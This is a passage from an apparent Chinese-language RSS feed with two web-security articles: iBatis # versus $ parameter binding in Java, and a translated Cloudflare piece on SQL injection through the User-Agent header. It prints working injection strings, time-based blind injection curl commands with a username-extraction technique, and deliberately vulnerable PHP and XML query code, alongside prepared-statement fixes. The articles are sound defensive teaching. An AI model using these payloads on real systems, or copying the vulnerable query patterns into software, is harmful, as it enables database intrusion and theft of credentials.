hs.put(&amp;quot;username&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;quot;);

List&amp;lt;Object&amp;gt; list1 = queryListSql(&amp;quot;test_right&amp;quot;,hs);
logger.info(&amp;quot;test-list1: &amp;quot; + list1);

List&amp;lt;Object&amp;gt; list2 = queryListSql(&amp;quot;test_wrong&amp;quot;,hs);
logger.info(&amp;quot;test-list2: &amp;quot; + list2);
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_right语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username = ?  
[DEBUG] Executing Statement:    select * from test_user where username = ?    
[DEBUG] Parameters: [&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list1: []  
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_wrong语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username = &amp;apos;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;  
[DEBUG] Executing Statement:    select * from test_user where username = &amp;apos;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list2: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  
&lt;/pre&gt;
 &lt;p&gt;可以看到使用#可以防止SQL注入，使用$会产生SQL注入。&lt;/p&gt;
 &lt;p&gt;执行test_right语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p34" src="http://static.wooyun.org//drops/20160606/2016060607352330672ibatis-1.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;执行test_wrong语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p35" src="http://static.wooyun.org//drops/20160606/2016060607352584977ibatis-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;like&lt;/h3&gt;
 &lt;p&gt;在使用ibatis执行判断条件为“like”的操作时，较容易误用$导致产生SQL注入问题。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;当需要使用like时，应用使用“xxx like &amp;apos;%&amp;apos; || #xxx# || &amp;apos;%&amp;apos;”，而不应使用“xxx like &amp;apos;%$xxx$%&amp;apos;”（以oracle数据库为例）。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;使用以下代码进行验证测试。&lt;/p&gt;
 &lt;p&gt;在ibatis对应的xml文件中配置了语句test_like_right与test_like_wrong如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;select id=&amp;quot;test_like_right&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username like &amp;apos;%&amp;apos; || #username# || &amp;apos;%&amp;apos;
&amp;lt;/select&amp;gt;

&amp;lt;select id=&amp;quot;test_like_wrong&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username like &amp;apos;$username$&amp;apos;
&amp;lt;/select&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;在JAVA代码中执行上述语句如下。&lt;/p&gt;
 &lt;pre&gt;HashMap hs = new HashMap();

hs.put(&amp;quot;username&amp;quot;, &amp;quot;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;quot;);

List&amp;lt;Object&amp;gt; list3 = queryListSql(&amp;quot;test_like_right&amp;quot;,hs);
logger.info(&amp;quot;test-list3: &amp;quot; + list3);

List&amp;lt;Object&amp;gt; list4 = queryListSql(&amp;quot;test_like_wrong&amp;quot;,hs);
logger.info(&amp;quot;test-list4: &amp;quot; + list4);
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_like_right语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username like &amp;apos;%&amp;apos; || ? || &amp;apos;%&amp;apos;  
[DEBUG] Executing Statement:    select * from test_user where username like &amp;apos;%&amp;apos; || ? || &amp;apos;%&amp;apos;  
[DEBUG] Parameters: [&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list3: []  
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_like_wrong语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username like &amp;apos;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;   
[DEBUG] Executing Statement:    select * from test_user where username like &amp;apos;&amp;apos; or &amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  
&lt;/pre&gt;
 &lt;p&gt;执行语句时test_like_right产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p36" src="http://static.wooyun.org//drops/20160606/2016060607352622685ibatis-3.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;执行语句时test_like_wrong产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p37" src="http://static.wooyun.org//drops/20160606/2016060607352758626ibatis-4.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h3&gt;in&lt;/h3&gt;
 &lt;p&gt;在使用ibatis处理判断条件为“in”的操作时，同样容易误用$导致SQL注入问题。&lt;/p&gt;
 &lt;p&gt;当需要使用in时，可使用以下方法。&lt;/p&gt;
 &lt;p&gt;java代码。&lt;/p&gt;
 &lt;pre&gt;String[] xxx_list = new String[] {&amp;quot;xx1&amp;quot;,&amp;quot;xx2&amp;quot;};
HashMap hs = new HashMap();
hs.put(&amp;quot;xxx&amp;quot;, xxx_list);
//hs为sql语句查询参数
&lt;/pre&gt;
 &lt;p&gt;xml中的语句配置。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;select id=&amp;quot;&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    ...
    &amp;lt;dynamic prepend=&amp;quot; and &amp;quot;&amp;gt;
        &amp;lt;isNotEmpty prepend=&amp;quot; and  &amp;quot; property=&amp;quot;xxx&amp;quot;&amp;gt;
            (xxx in
                &amp;lt;iterate open=&amp;quot;(&amp;quot; close=&amp;quot;)&amp;quot; conjunction=&amp;quot;,&amp;quot; property=&amp;quot;xxx&amp;quot;&amp;gt;#xxx[]#&amp;lt;/iterate&amp;gt;
            )
        &amp;lt;/isNotEmpty&amp;gt;
    &amp;lt;/dynamic&amp;gt;
    ...
&amp;lt;/select&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;  &lt;strong&gt;当需要使用in时，不应使用“in (&amp;apos;$xxx$&amp;apos;)”。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;在ibatis对应的xml文件中配置了语句test_in_right与test_in_wrong如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;select id=&amp;quot;test_in_right&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username in
    &amp;lt;iterate open=&amp;quot;(&amp;quot; close=&amp;quot;)&amp;quot; conjunction=&amp;quot;,&amp;quot; property=&amp;quot;username&amp;quot;&amp;gt;#username[]#&amp;lt;/iterate&amp;gt;
&amp;lt;/select&amp;gt;

&amp;lt;select id=&amp;quot;test_in_wrong&amp;quot; resultClass=&amp;quot;java.util.HashMap&amp;quot;
    parameterClass=&amp;quot;java.util.HashMap&amp;quot;&amp;gt;
    select * from test_user where username in (&amp;apos;$username$&amp;apos;)
&amp;lt;/select&amp;gt;
&lt;/pre&gt;
 &lt;p&gt;在JAVA代码中执行上述语句如下。&lt;/p&gt;
 &lt;pre&gt;String[] username_list = new String[] {&amp;quot;&amp;apos;) or (&amp;apos;1&amp;apos;=&amp;apos;1&amp;quot;};
hs.put(&amp;quot;username&amp;quot;, username_list);

List&amp;lt;Object&amp;gt; list5 = queryListSql(&amp;quot;test_in_right&amp;quot;,hs);
logger.info(&amp;quot;test-list5: &amp;quot; + list5);

HashMap hs = new HashMap();

hs.put(&amp;quot;username&amp;quot;, &amp;quot;&amp;apos;) or (&amp;apos;1&amp;apos;=&amp;apos;1&amp;quot;);

List&amp;lt;Object&amp;gt; list6 = queryListSql(&amp;quot;test_in_wrong&amp;quot;,hs);
logger.info(&amp;quot;test-list6: &amp;quot; + list6);
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_in_right语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username in   (?)  
[DEBUG] Executing Statement:    select * from test_user where username in   (?)  
[DEBUG] Parameters: [&amp;apos;) or (&amp;apos;1&amp;apos;=&amp;apos;1]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[INFO ] test-list5: []  
&lt;/pre&gt;
 &lt;p&gt;log4j中执行test_in_wrong语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username in (&amp;apos;&amp;apos;) or (&amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;)  
[DEBUG] Executing Statement:    select * from test_user where username in (&amp;apos;&amp;apos;) or (&amp;apos;1&amp;apos;=&amp;apos;1&amp;apos;)  
[DEBUG] Parameters: []  
[DEBUG] Types: []  
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list6: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  
&lt;/pre&gt;
 &lt;p&gt;执行test_in_right语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p38" src="http://static.wooyun.org//drops/20160606/2016060607352946119ibatis-5.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;执行test_in_wrong语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p39" src="http://static.wooyun.org//drops/20160606/2016060607353056231ibatis-6.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;在ibatis中在执行包含like或in的语句时，使用#也是能正常查询到数据的。&lt;/p&gt;
 &lt;p&gt;在JAVA代码中使用正确的查询条件执行test_like_right与test_in_right语句如下。&lt;/p&gt;
 &lt;pre&gt;HashMap hs = new HashMap();

hs.put(&amp;quot;username&amp;quot;, &amp;quot;aaa&amp;quot;);

List&amp;lt;Object&amp;gt; list7 = queryListSql(&amp;quot;test_like_right&amp;quot;,hs);
logger.info(&amp;quot;test-list7: &amp;quot; + list7);

String[] username_list2 = new String[] {&amp;quot;aaa&amp;quot;,&amp;quot;123&amp;quot;};
hs.put(&amp;quot;username&amp;quot;, username_list2);

List&amp;lt;Object&amp;gt; list8 = queryListSql(&amp;quot;test_in_right&amp;quot;,hs);
logger.info(&amp;quot;test-list8: &amp;quot; + list8);
&lt;/pre&gt;
 &lt;p&gt;log4j中使用正确的查询条件执行test_like_right语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username like &amp;apos;%&amp;apos; || ? || &amp;apos;%&amp;apos;  
[DEBUG] Executing Statement:    select * from test_user where username like &amp;apos;%&amp;apos; || ? || &amp;apos;%&amp;apos;  
[DEBUG] Parameters: [aaa]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[INFO ] test-list7: [{PWD=bbb, USERNAME=aaa}]  
&lt;/pre&gt;
 &lt;p&gt;log4j中使用正确的查询条件执行test_in_right语句时的相关日志如下。&lt;/p&gt;
 &lt;pre&gt;[DEBUG] Preparing Statement:    select * from test_user where username in   (?,?)  
[DEBUG] Executing Statement:    select * from test_user where username in   (?,?)  
[DEBUG] Parameters: [aaa, 123]  
[DEBUG] Types:   
[DEBUG] ResultSet  
[DEBUG] Header: [USERNAME, PWD]  
[DEBUG] Result: [aaa, bbb]  
[DEBUG] Result: [123, 456]  
[INFO ] test-list8: [{PWD=bbb, USERNAME=aaa}, {PWD=456, USERNAME=123}]  
&lt;/pre&gt;
 &lt;p&gt;使用正确的查询条件执行test_like_right语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p40" src="http://static.wooyun.org//drops/20160606/2016060607353265681ibatis-7.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;使用正确的查询条件执行test_in_right语句时产生的数据包如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p41" src="http://static.wooyun.org//drops/20160606/2016060607353377757ibatis-8.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;上述全部语句执行时在oracle的v$sql视图中产生的数据如下。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="p42" src="http://static.wooyun.org//drops/20160606/2016060607355199356vsql-2.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h1&gt;0x04 其他问题&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;h3&gt;错误页&lt;/h3&gt;
 &lt;p&gt;在web.xml中定义error-page，防止当出现错误时暴露服务器信息。&lt;/p&gt;
 &lt;p&gt;示例如下。&lt;/p&gt;
 &lt;pre&gt;&amp;lt;error-page&amp;gt;
    &amp;lt;error-code&amp;gt;404&amp;lt;/error-code&amp;gt;
    &amp;lt;location&amp;gt;xxx.jsp&amp;lt;/location&amp;gt;
&amp;lt;/error-page&amp;gt;

&amp;lt;error-page&amp;gt;
    &amp;lt;error-code&amp;gt;500&amp;lt;/error-code&amp;gt;
    &amp;lt;location&amp;gt;xxx.jsp&amp;lt;/location&amp;gt;
&amp;lt;/error-page&amp;gt;
&lt;/pre&gt;
 &lt;h3&gt;仅允许已登录用户的访问&lt;/h3&gt;
 &lt;p&gt;当用户访问jsp或Servlet/action/.do时，需要判断当前用户是否已登录且具有相应权限，防止出现越权使用。&lt;/p&gt;
 &lt;h1&gt;0x05 后记&lt;/h1&gt;
 &lt;hr&gt;&lt;/hr&gt;
 &lt;p&gt;以上为本人的一点总结，难免存在错误之处，大牛请轻喷。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>web安全</category>
      <guid isPermaLink="true">https://itindex.net/detail/55663-java-%E5%AE%89%E5%85%A8-java</guid>
      <pubDate>Wed, 08 Jun 2016 10:50:16 CST</pubDate>
    </item>
    <item>
      <title>User Agent注入攻击及防御</title>
      <link>https://itindex.net/detail/55616-user-agent-%E6%94%BB%E5%87%BB</link>
      <description>&lt;p&gt;  &lt;strong&gt;   &lt;img alt="sql.jpg" height="460" src="http://image.3001.net/images/20160523/14640074638202.jpg!small" width="690"&gt;&lt;/img&gt;   &lt;br /&gt;&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;CloudFlare公司经常会收到客户询问为什么他们的一些请求会被    &lt;a href="https://www.cloudflare.com/waf/"&gt;CloudFlare WAF&lt;/a&gt; 屏蔽。最近，一位客户就提出他不能理解为什么一个访问他主页简单的 GET 请求会被 WAF 屏蔽。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;下面是被屏蔽的请求：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;GET / HTTP/1.1
Host: www.example.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)&amp;apos;+(select*from(select(sleep(20)))a)+&amp;apos; 
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;正如他说的，一个简单的请求访问 WEB 主页，乍看之下好像没什么问题。除非你仔细查看   &lt;code&gt;User-Agent&lt;/code&gt; 部分：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)&amp;apos;+(select*from(select(sleep(20)))a)+
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;   &lt;code&gt;User-Agent&lt;/code&gt; 前半部分看起来挺正常的（好像是微软 IE 11），但是却以字符串   &lt;code&gt;&amp;apos;+(select*from(select(sleep(20)))a)+&lt;/code&gt; 结尾。攻击者试图对   &lt;code&gt;User-Agent&lt;/code&gt; 值进行 SQL 注入。&lt;/p&gt;
 &lt;p&gt;普通的 SQL 注入通常是对 URL 及其参数进行的，但这里攻击者却将 SQL 查询语句   &lt;code&gt;select * from (select(sleep(20)))&lt;/code&gt; 隐藏在了 HTTP 头部的   &lt;code&gt;User-Agent&lt;/code&gt; 字段之中 。这种技术通常被各种扫描器所使用，例如，sqlmap 的   &lt;code&gt;-p&lt;/code&gt; 参数会尝试对 HTTP 请求头部字段进行注入。&lt;/p&gt;
 &lt;h2&gt;延时注入&lt;/h2&gt;
 &lt;p&gt;许多 SQL 注入都是在尝试从网站中提取信息（例如用户名、密码或其他隐私信息）。但这条语句却不太一样，它请求数据库进程等待 20 秒。这种攻击属于 SQL 盲注，一般的 SQL 注入会将查询的结果返回到 WEB 页面中，而盲注的攻击者则看不到查询的输出，所以他们会另辟蹊径使用其他的方式来判断注入。两种常见的方法就是使 WEB 服务器产生错误或者产生延时。如上使用   &lt;code&gt;sleep&lt;/code&gt; 会是 WEB 服务器等待 20 秒才进行响应，攻击者可以根据响应是否产生延时来判断是否存在注入漏洞。&lt;/p&gt;
 &lt;h2&gt;示例&lt;/h2&gt;
 &lt;p&gt;为了更好的说明，我使用 PHP 创建了一个不安全的应用，其中会将   &lt;code&gt;User-Agent&lt;/code&gt; 保存到 MySQL 数据库中。这类代码可能会存在于真实的应用中用来分析信息，例如统计访问次数。&lt;/p&gt;
 &lt;p&gt;在这个示例中，我忽略了所有良好安全的编码习惯，因为我想阐述下 SQL 的工作原理。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;再次警告：千万不要复制/粘贴以下代码！因为这些代码并不规范。&lt;/strong&gt;&lt;/p&gt;
 &lt;h3&gt;下面是 PHP 代码：&lt;/h3&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;?php

$link = new mysqli(&amp;apos;localhost&amp;apos;, &amp;apos;insecure&amp;apos;, &amp;apos;1ns3cur3p4ssw0rd&amp;apos;, &amp;apos;analytics&amp;apos;);

$query = sprintf(&amp;quot;INSERT INTO visits (ua, dt) VALUES (&amp;apos;%s&amp;apos;, &amp;apos;%s&amp;apos;)&amp;quot;,
       $_SERVER[&amp;quot;HTTP_USER_AGENT&amp;quot;],
       date(&amp;quot;Y-m-d h:i:s&amp;quot;));

$link-&amp;gt;query($query);

?&amp;gt;

&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;b&amp;gt;Thanks for visiting&amp;lt;/b&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这段代码会连接到本地的   &lt;code&gt;analytics&lt;/code&gt; 数据库，并将访客 HTTP 头部的   &lt;code&gt;User-Agent&lt;/code&gt; 字段不加过滤的插入到数据库中。&lt;/p&gt;
 &lt;p&gt;这就是一个 SQL 注入的例子，但是因为我们的代码不会产生任何错误，所以攻击者无法通过报错来得知是否存在注入漏洞，除非他们使用类似   &lt;code&gt;sleep()&lt;/code&gt; 之类的方法。&lt;/p&gt;
 &lt;p&gt;为了验证是否存在注入漏洞，只需要执行如下命令（其中   &lt;code&gt;insecure.php&lt;/code&gt; 就是上述示例代码）：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;curl -A &amp;quot;Mozilla/5.0&amp;apos;, (select*from(select(sleep(20)))a)) #&amp;quot; http://example.com/insecure.php
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这样就会将 HTTP 头部的   &lt;code&gt;User-Agent&lt;/code&gt; 字段设置为   &lt;code&gt;Mozilla/5.0&amp;apos;, (select*from(select(sleep(20)))a)) #&lt;/code&gt;。而我们不安全的 PHP 代码会不加过滤就直接将这些字符串插入查询语句中，此时的查询语句变成了如下样子：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;INSERT INTO visits (ua, dt) VALUES (&amp;apos;Mozilla/5.0&amp;apos;, (select*from(select(sleep(20)))a)) #&amp;apos;, &amp;apos;2016-05-17 03:16:06&amp;apos;)
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;本来应该插入两个值，但现在只会插入一个值   &lt;code&gt;Mozilla/5.0&lt;/code&gt; 并执行   &lt;code&gt;(select*from(select(sleep(20)))a)&lt;/code&gt; 语句（这会使数据库休眠 20 秒）。而   &lt;code&gt;#&lt;/code&gt; 是注释符，意味着后续的语句被注释并忽略了（就是忽略了插入日期）。&lt;/p&gt;
 &lt;p&gt;此时的数据库中会出现这样一个条目：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;+---------------------+---------------+
| dt                  | ua            |
+---------------------+---------------+
| 0                   | Mozilla/5.0   |
+---------------------+---------------+
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;请注意，其中日期值为   &lt;code&gt;0&lt;/code&gt;，这正是   &lt;code&gt;(select*from(select(sleep(20)))a)&lt;/code&gt; 语句执行的结果，另外 ua 的值为   &lt;code&gt;Mozilla/5.0&lt;/code&gt;，而这可能就是攻击者成功执行 SQL 注入后留下的唯一痕迹了。&lt;/p&gt;
 &lt;p&gt;下面是接收到上述请求后服务器的运行结果，我们使用   &lt;code&gt;time&lt;/code&gt; 命令来看看这个过程到底需要多长时间：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;$ time curl -v -A &amp;quot;Mozilla/5.0&amp;apos;, (select*from(select(sleep(20)))a) #&amp;quot; http://example.com/insecure.php
* Connected to example.com port 80 (#0)
&amp;gt; GET /insecure.php HTTP/1.1
&amp;gt; Host: example.com
&amp;gt; User-Agent: Mozilla/5.0&amp;apos;, (select*from(select(sleep(20)))a) #
&amp;gt; Accept: */*
&amp;gt;
&amp;lt; HTTP/1.1 200 OK
&amp;lt; Date: Mon, 16 May 2016 10:45:05 GMT
&amp;lt; Content-Type: text/html
&amp;lt; Transfer-Encoding: chunked
&amp;lt; Connection: keep-alive
&amp;lt; Server: nginx

&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;b&amp;gt;Thanks for visiting&amp;lt;/b&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
* Connection #0 to host example.com left intact

real   0m20.614s
user   0m0.007s
sys    0m0.012s
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;看到 20 秒了吗，成功的执行了 SQL 注入。&lt;/p&gt;
 &lt;h2&gt;漏洞利用&lt;/h2&gt;
 &lt;p&gt;看到这，你也许会想“这的确很简单，但是黑客好像并没有攻击我的网站啊”。&lt;/p&gt;
 &lt;p&gt;但不幸的是，丰富的 SQL 语句使得哪怕是只有 3 行 PHP 代码的   &lt;code&gt;insecure.php&lt;/code&gt;，也可以使得攻击者获得远不只使数据库睡眠 20 秒的效果。虽然攻击者执行的   &lt;code&gt;INSERT INTO&lt;/code&gt; 的查询只会向数据库中写入数据，但这样仍然可以让他们提取出敏感信息和获取访问权限。&lt;/p&gt;
 &lt;p&gt;为了一个演示的例子，我们在数据库中创建了一个名为   &lt;code&gt;user&lt;/code&gt; 的表，其中包含两个用户分别名为   &lt;code&gt;root&lt;/code&gt; 和   &lt;code&gt;john&lt;/code&gt;。下面来展示攻击者是如何发现存在   &lt;code&gt;john&lt;/code&gt; 用户的，他们可以手工构造用户名并根据相应时间来判断是否存在这个用户。&lt;/p&gt;
 &lt;p&gt;例如：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;curl -A &amp;quot;Mozilla/5.0&amp;apos;, (select sleep(20) from users where substring(name,1,1)=&amp;apos;a&amp;apos;)) #&amp;quot; http://example.com/insecure.php
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这个访问会被立即响应，因为数据库中并没有以   &lt;code&gt;a&lt;/code&gt; 打头的用户名，但是&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;curl -A &amp;quot;Mozilla/5.0&amp;apos;, (select sleep(20) from users where substring(name,1,1)=&amp;apos;j&amp;apos;)) #&amp;quot; http://example.com/insecure.php
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;这个请求却会花费 20 秒时间。这样在猜出用户名的首字母后，攻击者就可以继续猜测用户名第二个、第三个字母等等，相同的技术还可以用来从数据库中提取其他数据。&lt;/p&gt;
 &lt;p&gt;如果我们的应用比较复杂，例如是一个博客的评论系统，那么我们可以利用这个漏洞将数据库的一些信息转存到一条评论中，这样我们就可以通过访问网页直接查看到数据库信息了,这种方法通常会在需要提取大量数据时使用。&lt;/p&gt;
 &lt;h2&gt;代码加固&lt;/h2&gt;
 &lt;p&gt;加固代码最好的方式就是像如下这样:&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;?php

$link = new mysqli(&amp;apos;localhost&amp;apos;, &amp;apos;analytics_user&amp;apos;, &amp;apos;aSecurePassword&amp;apos;, &amp;apos;analytics_db&amp;apos;);

$stmt = $link-&amp;gt;prepare(&amp;quot;INSERT INTO visits (ua, dt) VALUES (?, ?)&amp;quot;);
$stmt-&amp;gt;bind_param(&amp;quot;ss&amp;quot;, $_SERVER[&amp;quot;HTTP_USER_AGENT&amp;quot;], date(&amp;quot;Y-m-d h:i:s&amp;quot;));
$stmt-&amp;gt;execute();

?&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;&amp;lt;b&amp;gt;Thanks for visiting&amp;lt;/b&amp;gt;&amp;lt;/body&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;首先将 SQL 查询语句使用   &lt;code&gt;prepare&lt;/code&gt; 进行准备，随后使用   &lt;code&gt;bind_param&lt;/code&gt; 绑定两个参数（  &lt;code&gt;User-Agent&lt;/code&gt; 和日期），最后才是使用   &lt;code&gt;execute&lt;/code&gt; 执行查询。&lt;/p&gt;
 &lt;p&gt;  &lt;code&gt;bind_param&lt;/code&gt; 可以确保一些 SQL 特殊字符会先被进行转义，随后才被执行。现在让我们来看一看在收到跟之前一样的 SQL 注入后数据库中的条目是什么样子的：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;+---------------------+----------------------------------------------------+
| dt                  | ua                                                 |
+---------------------+----------------------------------------------------+
| 2016-05-17 04:46:02 | Mozilla/5.0&amp;apos;,(select*from(select(sleep(20)))a)) #  |
+---------------------+----------------------------------------------------+
&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;此时，攻击者的 SQL 语句没有被执行而是被简单的存入了数据库当中。&lt;/p&gt;
 &lt;h2&gt;总结&lt;/h2&gt;
 &lt;p&gt;SQL 注入是攻击者最喜欢使用的攻击方式之一，它可能出任何由攻击者掌控输入的 WEB 应用中。最容易想象的就是出现在各种表单或 URL 之中，但即使是 HTTP 请求头部也同样可能出现。所以从安全角度来说，任何由 WEB 浏览器发送给 WEB 应用的数据都应当被假设为是恶意的。&lt;/p&gt;
 &lt;h3&gt;*原文：  &lt;a href="https://blog.cloudflare.com/the-sleepy-user-agent/"&gt;cloudflare&lt;/a&gt;，FB小编xiaix编译，转自须注明来自FreeBuf黑客与极客（FreeBuf.COM）&lt;/h3&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全</category>
      <guid isPermaLink="true">https://itindex.net/detail/55616-user-agent-%E6%94%BB%E5%87%BB</guid>
      <pubDate>Tue, 24 May 2016 00:39:48 CST</pubDate>
    </item>
  </channel>
</rss>

